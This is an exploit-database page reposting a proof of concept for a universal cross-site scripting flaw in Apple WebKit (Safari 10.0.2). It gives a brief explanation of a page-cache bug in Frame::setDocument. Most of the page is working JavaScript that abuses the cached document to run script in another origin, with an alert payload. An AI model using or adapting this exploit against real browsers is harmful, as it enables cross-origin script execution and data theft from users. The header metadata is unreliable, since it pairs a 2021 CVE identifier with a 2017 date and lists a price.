Advertisement






Apple WebKit 10.0.2 'Frame::setDocument (1)' Universal Cross-Site Scripting

CVE Category Price Severity
CVE-2021-30859 CWE-79 $10,000 High
Author Risk Exploitation Type Date
Unknown High Remote 2017-04-05
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H 0.039 0.8934

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017040019

Below is a copy:

Apple WebKit 10.0.2 'Frame::setDocument (1)' Universal Cross-Site Scripting<!--
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
    ASSERT(!newDocument || newDocument->frame() == this);
 
    if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
        m_doc->prepareForDestruction();
 
    m_doc = newDocument.copyRef();
    ...
}
 
The function |prepareForDestruction| only called when the cache state is not |Document::InPageCache|. So the frame will be never detached from the cached document.
 
PoC:
-->
 
"use strict";
 
document.write("click anywhere to start");
 
window.onclick = () => {
    let w = open("about:blank", "one");
    let d = w.document;
 
    let a = d.createElement("a");
    a.href = "https://abc.xyz/";
    a.click();  <<------- about:blank -> Document::InPageCache
 
    let it = setInterval(() => {
        try {
            w.location.href.toString;
        } catch (e) {
            clearInterval(it);
 
            let s = d.createElement("a");  <<------ about:blank's document
            s.href = "javascript:alert(location)";
            s.click();
        }
    }, 0);
};
 
 
<!--
Tested on Safari 10.0.2(12602.3.12.0.1).
-->

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum